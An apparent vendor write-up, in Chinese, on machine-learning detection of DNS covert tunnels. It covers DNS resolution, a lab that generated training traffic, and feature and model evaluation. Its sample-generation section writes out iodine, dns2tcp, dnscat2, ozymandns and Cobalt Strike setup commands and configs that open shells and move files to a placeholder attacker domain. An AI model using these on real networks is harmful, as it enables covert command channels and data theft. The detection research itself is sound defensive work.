企业内网环境中,DNS协议是必不可少的网络通信协议之一,为了访问互联网和内网资源,DNS提供域名解析服务,将域名和IP地址进行转换。网络设备和边界防护设备在一般的情况下很少对DNS进行过滤分析或屏蔽,因此将数据或指令藏匿于DNS协议中进行传输是一种隐蔽且有效的手段。在实际场景中,当攻击者拿下某台服务器权限,或服务器被恶意软件、蠕虫、木马等感染之后,通过建立DNS隧道从而达到敏感信息盗窃、文件传输、回传控制指令、回弹Shell等目的。目前安全产品多是基于监控终端请求异常长度的域名等规则方式进行DNS隧道检测,攻击者可以使用商业渗透套件如Metasploit、Cobalt Strike等,或一些开源软件iodine、ozymandns、dns2tcp、dnscat2等快速轻易地构建DNS隐蔽隧道,并且可以通过修改域名长度、请求频率等特征轻易绕过传统基于规则的DNS隧道的检测模型。相比于基于规则的静态阈值检测误报高,易被绕过等问题,可以使用机器学习技术从历史数据中学习出一个DNS隧道模式用于检测。目前,机器学习技术已被成功应用到语音识别、图像识别等领域,并有很好的效果。但目前在网络安全行业能成功应用机器学习的案例较少,主要由于无法获取到大数据量的异常样本。在DNS隧道检测场景中,业内同样存在异常样本数据稀缺问题,因此我们基于网藤风险感知-PRS构建了一套DNS数据制造和收集的自动化框架,为机器学习建模提供了大量样本数据。在机器学习算法模型选择方面,具体算法可分为基于特征的浅层学习(如逻辑回归)和自动提取特征的深度学习(如CNN),鉴于在安全检测类产品中要求模型具有高效性、结果便于解释性等特点,在模型选取上更侧重选用一些基于特征的浅层学习模型。具体,首先需对包含DNS隧道流量和正常DNS流量数据结合领域专家知识进行统计分析,挖掘出区分性强的特征集。其次使用多种模型训练特征并评估选取最佳效果模型。后续使用某行业客户内网真实环境验证了模型的有效性。
DNS隧道,即利用DNS请求和响应来承载经过编码或加密的数据内容,攻击者需要接管某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该台NS服务器上,最终,一条通信信道将在受控机器和攻击者的NS服务器之间建立(中间可能经过更多的NS节点),信道的建立、维持和通信基于DNS查询的请求和响应。为了便于了解DNS隧道,我们先通过一张图简单看一下DNS的工作原理。
图1
DNS查询以层级迭代方式进行,每一个NS服务器(名称服务器)负责对应部分域名的解析,假设不存在任何DNS缓存,当想要查询www.google.com的IP地址时,本地DNS服务器一次完整的迭代查询过程如下:
(1) 终端计算机向本地DNS服务器请求查询www.google.com的IP地址,由于本地DNS服务器没有DNS缓存,它将发起迭代查询以得到正确的IP地址;
(2) 本地DNS服务器向根域服务器发起查询www.google.com的A记录,全球13组根域名服务器负责对顶级域(TLD)的请求进行响应,它并不知晓www.google.com的A记录,它将向本地DNS服务器返回一条NS记录,指向.com域名称服务器的地址;
(3) 本地DNS服务器向.com域名称服务器发起查询www.google.com的A记录,.com域服务器只掌握google.com位于何处,因此它向本地DNS服务器返回又一条NS记录,指向.google.com域名称服务器的地址;
(4) 本地DNS服务器向.google.com域名称服务器发起查询www.google.com的A记录,因为www.google.com位于自己的DNS数据库中,因此它将取出www.google.com的IP地址(A记录)并将其返回给本地DNS服务器;
(5) 本地DNS服务器将获取的IP地址返回给终端计算机。
以上为DNS查询的大体过程,当然实际情况可能会比上述复杂的多,这里要记住的两个重点是,第一,c.c.c.c负责解析google.com下的www,是该子域名的NS服务器;第二,查询过程中存在多级缓存,当命中缓存时查询不会被递归到权威名称服务器,而是在命中缓存的服务器上直接返回先前缓存下来的结果。要了解DNS的查询过程,可以通过dig工具借助+trace和+norecurse参数自行测试。
前文简述DNS查询的工作原理中,提到了两个重点,由于DNS隧道以DNS查询为基础,为了在两个端点构建隧道,我们需要拥有一台负责某个域名解析的NS服务器,所有对该域名下的子域的解析请求,都会到达我们控制的NS服务器。因此,在使用DNS隧道之前,我们需要做一些准备:
首先我们需要一个可被访问的公网IP和一个域名,然后,我们需要接管该域名下某个子域的所有DNS解析请求,可以通过域名的DNS管理配置完成,如下添加一条NS记录,将log子域的解析交给ns1.crs.domain,然后添加一条A记录,将该NS服务器的地址指向我们的公网IP。
NS log ns1.crs.domain
A ns1 207.x.y.z
3.1 DNS隧道工具
实现DNS隧道的工具有很多,不同工具在工作原理上相似,差异在于其通信方式、编码加密类型等,为了使机器学习具备足够全面和大量的训练样本,我们构建了一套DNS数据制造和收集的自动化框架,涵盖几种常见的DNS隧道工具(iodine/ozymandns/dns2tcp/dnscat2/Cobalt Strike),如下简图所示:
图2
内网环境中,一台Ubuntu作为攻击的目标机器,其上搭建DNS隧道工具的客户端,包括iodine、dns2tcp、dnscat2、ozymandns,外网使用一台VPS作为攻击者控制的公网机器,拥有公网IP并作为log子域的名称服务器,是DNS隧道的服务端,内网机器与公网VPS之间DNS隧道的建立和通信通过自动化脚本实现,隧道中的通信内容多样化,包括传输文件、下发指令、获取shell进行操作、进行http/socks代理访问等,当使用渗透框架Cobalt Strike时,内网还需要一台控制端攻击机,公网VPS作为Teamserver的角色,接收DNS解析请求,并转发攻击机和目标机器之间的通信。内外网之间的所有DNS通信流量会被镜像到sensor设备上进行收集,通过这种自动化的方式来产生大量的DNS隧道流量。
3.1.1 iodine
iodine是一个流行的DNS隧道工具,它将IPv4数据封装到DNS协议中传输,安装部署可以很方便的通过yum或apt-get完成,也可以自行编译安装。
安装完成之后,该工具的使用也很方便,服务端运行启动iodined。
sudo iodined -f -4 -c -P abcde 10.1.1.1 log.crs.domain
服务端运行iodine,启动时需要设置一个隧道IP地址,与客户端之间的通信通过该隧道链路进行,在客户端运行iodine。
sudo iodine -P abcde log.crs.domain -r
客户端启动后会与服务端进行密码认证和版本确认,生成一个名为dns0虚拟网卡并配置与对端同网段的IP,然后在该条链路上测试不同大小的数据包传输以确定合适的通信带宽值。
在客户端与服务端上,可以查看dns0网卡信息。
# 服务端
dns0: mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.1.1.1/27 scope global dns0
valid_lft forever preferred_lft forever
# 客户端
dns0: mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.1.1.2/27 scope global dns0
valid_lft forever preferred_lft forever
iodine支持使用不同的DNS记录类型进行通信,包括A、CNAME、MX、TXT、SRV、PRIVATE、NULL,下行链路支持多种编码方式,包括Base32、Base64、Base128、Raw(该编码方式的选择仅影响服务端返回的响应)。
sensor上捕获的iodine通信流量
图3
3.1.2 dns2tcp
dns2tcp也是常用的DNS隧道工具,Kali Linux中默认集成安装了该工具。分别在服务端和客户端启动dns2tcp。
sudo dns2tcpd -F -f /etc/dns2tcprcd -d 1
dns2tcpc -d 1 -f /etc/dns2tcpc
/etc/dns2tcprcd和/etc/dns2tcpc分别是服务端和客户端的配置文件,用于设置监听地址、认证信息、域名等。
# /etc/dns2tcprcd
listen=VPS公网IP地址
port=53
user=nobody
chroot=/tmp
key=abcde
domain=log.crs.domain
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25, pop3:10.0.0.1:110
# /etc/dns2tcpc
domain=log.crs.domain
resource=ssh
local_port=2222
key=abcde
debug_level=3
可见,dns2tcp搭建的DNS隧道可配置封装其他不同的应用层数据,如SSH、POP3、HTTP等,利用上述配置文件,客户端将在本地监听2222端口,并通过dns2tcp将发往2222端口的数据封装到DNS请求中发送。
sensor上捕获的dns2tcp通信流量,可以看到dns2tcp主要使用的查询记录类型是TXT
图4
3.1.3 dnscat2
dnscat2同样用于DNS隧道,它提供了一个可操作的交互式Console,方便管理多个隧道客户端,还可以很方便的通过内置命令启动一个半交互式shell。
dnscat2的服务端是用ruby写的,服务端运行dnscat2将启动一个交互式Console,根据提供的命令直接在客户端运行,服务端将接收到一个控制shell。
ruby dnscat2.rb --dns 'host=VPS公网IP地址,port=53,domain=log.crs.domain'
...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=e2ec0152d0afbcf104d65f8283c06215 log.crs.dm
...
Console中通过windows命令查看到客户端已经上线。
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on IP_ADDRESS domains = log.crs.domain [*]
1 :: command (ubuntu-virtual-machine) [encrypted and verified] [*]
sensor上捕获的dnscat2通信流量,dnscat2同样支持使用不同的查询记录类型,包括A、AAAA、CNAME、TXT、MX
图5
3.1.4 ozymandns
ozymandns是一个比较老旧的DNS隧道工具,为了收集样本,也对其进行搭建和测试,由于该工具已经很久没有维护更新,安装过程和使用体验不是很好。
服务端运行nomde.pl,等待客户端连接。
sudo ./nomde.pl -i 0.0.0.0 log.crs.domain
客户端机器上,ozymandns主要通过ProxyCommand用在ssh中,如利用ozymandns搭建的隧道传送文件。
scp -C -o ProxyCommand="./droute.pl sshdns.log.crs.domain" abc.txt user@localhost:.
sensor上捕获的ozymandns通信流量,ozymandns主要使用的查询记录类型是A和TXT
图6
3.1.5 Cobalt Strike
Cobalt Strike是一个商业后渗透框架,Cobalt Strike的使用需要有一个外网机器作为团队协作的通讯服务器teamserver,攻击机通过连接该teamserver,可以在多个渗透测试队员之间协同工作。Cobalt Strike的具体安装请参考官方文档的详细说明。
安装完成后,公网VPS上启动./teamserver,内网攻击机上运行./cobaltstrike,输入teamserver的IP地址和密码进行连接。
打开Cobalt Strike菜单中的Listeners面板,添加一个DNS类型的监听器。
打开Attacks菜单,生成合适类型的攻击载荷,并将该攻击载荷投递到目标机器上运行,等待目标机器上线后,就可以在Cobalt Strike面板上对目标机器进行控制和操作了。
图7
sensor上捕获的Cobalt Strike通信流量,ozymandns主要使用的查询记录类型是A、AAAA和TXT
图8
3.2 正常DNS流量数据
除了收集DNS隧道工具产生的异常流量,我们还需要收集正常环境下的DNS通信流量。正常DNS流量数据可以通过在内网环境中收集,单一内网环境中收集的DNS数据可能重合度比较大,为了样本数据的全面,我们收集了多个网络环境下的DNS数据,并对其进行筛选去重和分类。
3.4 数据采集种类及数量
使用自动化的样本数据生成方式,共采集的样本数据种类及数量做具体说明如表1所示:
表1
工具 | iodine | ozymandns | dns2tcp | dnscat2 | cobaltstrike | |||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
解析类型 | A | CNAME | MX | TXT | NULL | SRV | PRIVATE | |||||||||||||||||||||||||||||||
编码方式 | base32 | base64 | base64u | base128 | raw | base32 | base64 | base64u | base128 | raw | base32 | base64 | base64u | base128 | raw | base32 | base64 | base128 | raw | base32 | base64 | base64u | base128 | raw | base32 | base64 | base64u | base128 | raw | base32 | base64 | base64u | base128 | raw | raw | raw | raw | raw |
评估阶段数量(req/res对) | 14859 | 13303 | 6530 | 6339 | 7040 | 6985 | 6483 | 6375 | 6229 | 7469 | 6287 | 6280 | 6193 | 6467 | 6188 | 6352 | 6239 | 6249 | 0 | 9803 | 9675 | 9746 | 10012 | 10715 | 10058 | 9871 | 9964 | 10348 | 10715 | 9722 | 9834 | 9841 | 9992 | 10002 | 17182 | 17317 | direct:248 ; recurse:233 | 0 |
测试阶段数量(req/res对) | 11 | 8 | 0 | 9 | 11 | 9 | 11 | 0 | 11 | 11 | 8 | 8 | 0 | 8 | 8 | 8 | 8 | 7 | 9 | 10 | 8 | 0 | 8 | 8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 82 | 207 | 0 | 1504 |
使用机器学习构建DNS隧道检测模型,重要步骤是对DNS隧道流量进行特征挖掘分析,需要以DNS协议标准中各字段的统计分析、DNS隧道实现原理为基础,同时结合安全专家知识提取模型特征。(注:过多技术细节披露较为敏感,因此仅枚举部分特征进行阐述)
1.1 特征挖掘
安全专家经验是构建机器学习模型的重要先验知识,通过专家经验提取出重要特征之后需使用统计分析验证特征的可用性。 在根据安全专家经验和历史数据统计分析后,我们挖掘出可用特征数量共计23个,部分特征举例说明如下。
例如,根据安全知识正常DNS由于有RTT控制的本地缓存机制,请求包和响应包时间间隔通常较短。DNS隧道每次请求的subdomain都有变动,不会命中本地缓存。安全专家会将DNS的req/res时间间隔可作为鉴别依据,进一步在已经构建的数据集(正负样本均30万条左右)做统计分析结果如图9所示,正常DNS流量req/res时间间隔的均值和方差都低于DNS隧道的req/res时间间隔的均值和方差,因此req/res时间间隔可以作为一个机器学习模型特征。
例如,根据安全知识正常DNS请求包中会提交查询域名,此域名是正常网站访问域名,长度适中。DNS隧道为了最大效率使用带宽传输更多信息,通常DNS隧道的请求包域名较长。安全专家会将DNS查询域名长度作为鉴别依据,进一步在已经构建的数据集(正负样本均30万条左右)做统计分析结果如图10所示,正常DNS流量请求域名长度的均值和方差都低于DNS隧道的请求域名长度的均值和方差,因此DNS请求域名长度可以作为一个机器学习模型特征。
例如,根据安全知识正常DNS查询中的subdomain的编写规范通常符合RFC规范,以字母开始以字母或数字结尾,中间可以出现格式包括:小写字母 a-z,大写字母A-Z,数字0-9,以及分隔符’-‘共63种字符。在DNS隧道中,通常会对传输数据做加密处理(如base64、base32等),并且会大量使用63种字符集以外的字符。安全专家会将这种编写规范性作为鉴别依据,进一步使用熵去度量subdomain的编写规范性并在已经构建的数据集(正负样本均30万条左右)做统计分析结果如图11所示,图中分别展示了使用unigram、trigram、bigram做单元切分后熵值计算的均值和方差,从图可知正常DNS的subdomain熵均值相比于DNS隧道subdomain熵均值要低很多。
图9、10
图11
1.2 特征分析
通过从不同角度考量特征对正负样本的识别贡献性,去除一些特征,保证模型的泛化性和减轻模型复杂度。在本实例中,通过对特征进行取值密度分析,相关性分析、特征重要性分析后,最终保留特征数18个,用于后续模型训练。
(1)特征取值密度分析
分析被选取的特征,统计各特征取值分布情况。如图12所示为部分特征的取值分布情况(req/res时间间隔的均值、req/res时间间隔的方差、DNS请求域名长度均值、DNS请求域名长度方差、subdomain域名unigram 熵均值,subdomain域名unigram 熵方差),其中subdomain域名unigram 熵方差在正负样本(绿色:正常DNS流量,黄色:DNS隧道流量)上取值范围重合 DNS隧道识别区分度不高,可考虑去除此特征。
(2)特征相关性分析
分析被选取的特征,使用互信息方式计算各特征相关性,去除高度相关特征。
(3)特征重要度分析
分析被选取的特征,使用RandomForest或LASSO对特征重要性进行排名,优先选取最重要特征。
图12
经过1.2节特征分析后的样本数据是由18个特征构成的DNS隧道样本数据集,而将样本数据的分布做可视化展示更有利于后续模型的选取。对高维数据可视化,可以使用一些降维技术将数据降维到2D空间。本项目中对18维的样本数据,使用PCA降维到2D 平面中,展示DNS隧道样本和正常DNS样本分布情况。如图13所示,两类样本在二维空间上有较好区分度,说明我们选取的特征较好。并且依据样本数据分布可视化,初步断定选择一些浅层非线性模型即可做到对正负样本的很好区分。
图13
结合第2节的样本数据分布可视化,选用非线性的随机森林算法和SVM算法做模型构建。根据模型效果及执行效率和可解释性,最终选用随机森林算法应用到DNS隧道检测中。
3.1 随机森林算法
决策树类算法,对数据量纲敏感度低,顾无需将数据集做归一化处理。使用默认参数训练数据,评估效果。图14为三折交叉验证的ROC曲线,通过ROC曲线可知,模型效果很好。进一步按(训练:测试=0.65:0.35)比例构建划分数据集,混淆矩阵如图15所示,仅有少部分错误分类。
图14、15
3.2 SVM算法
使用原始数据做训练,其中kernel为 ‘rbf’,模型训练时间较长。进一步按(训练:测试=0.65:0.35)比例构建划分数据集,各度量值如图16所示,混淆矩阵如图17所示。
图16、17
3.3 模型调优
确定选用随机森林作为实现模型后,进一步对模型调优,保证最佳实现效果。调参后最最佳 CV 得分为 0.999993252。
4.1 DNS隧道中传输其他协议新数据测试
选用随机森林作为最终模型后,使用新造的测试数据,对模型识别效果做测试。在原始模型训练中,使用的DNS隧道数据集隐藏传输的都是SSH协议数据,在新本次用于测试的数据集中DNS隧道数据集隐藏传输的是HTTP协议。检测结果混淆矩阵如图18所示,从结果中可知,模型对DNS隧道数据和DNS正常数据识别准确,并且由于测试数据集中DNS隧道数据隐蔽传输的为HTTP协议,和训练数据DNS隧道数据隐蔽传输的SSH协议不同,但也能识别准确,可知加载的协议种类不会对识别结果造成影响,模型具有很好的适配性。
图18
4.2 某行业客户内网环境DNS隐蔽隧道模型测试结果
教育行业一直是网络攻击的较为严重的受害者,这类现象有较多历史和客观的因素,我们不进行深入探讨。我们将DNS隧道检测模型载入PRS系统,部署到某行业客户私有云平台内网环境中,进行了1周的DNS协议日志分析,检测到DNS隐蔽隧道流量。如图19所示,在所有DNS流量中识别出了DNS隐蔽隧道通信流量,经过调查与验证,发现内网中部分服务器存在MS17-010系统漏洞,被利用植入了远控类型的恶意软件,该软件使用DNS隧道通信模式和外网控制端进行数据和指令的传输。
图19
DNS隐蔽隧道检测是识别高级威胁以及未知威胁必不可少的关键技术能力之一。由于DNS隧道具有隐蔽性和多变性等复杂特征,传统基于网络入侵检测产品较难识别或易被绕过。实际场景中,加入域名生成算法DGA、改变数据传输编码方式以及数据载入不同字段等手段,大大增加了自动辨认的复杂性,造成基于特征匹配、规则等安全产品无法准确识别。在实际环境下,即使破解某一特定木马的DNS通讯模式或特征,对未来出现的新恶意软件、新的数据格式无效。对于众多的开源后门软件或隧道工具来说,改变网络通信特征等方式多变,特征匹配技术显然应对不了层出不穷的变种。将机器学习技术应用到DNS隧道识别上能很好解决这类问题。但大量DNS隧道数据样本收集存在困难,这样成为了机器学习模型构建的障碍。对于DNS隧道样本数据少的问题上,构建了一套DNS数据制造和收集的自动化框架,生成了大量DNS训练样本数据,使用信息安全专家经验知识以及结合统计分析方式对样本数据做分析提取重要特征,并评估了多个模型效果,最终选用了随机森林模型。为了验证模型的有效性,将训练好的模型载入网藤风险感知PRS模型服务模块,并部署到某行业客户内部私有云平台环境中进行测试,对DNS隧道流量有准确检出,以实际环境验证了模型的有效性。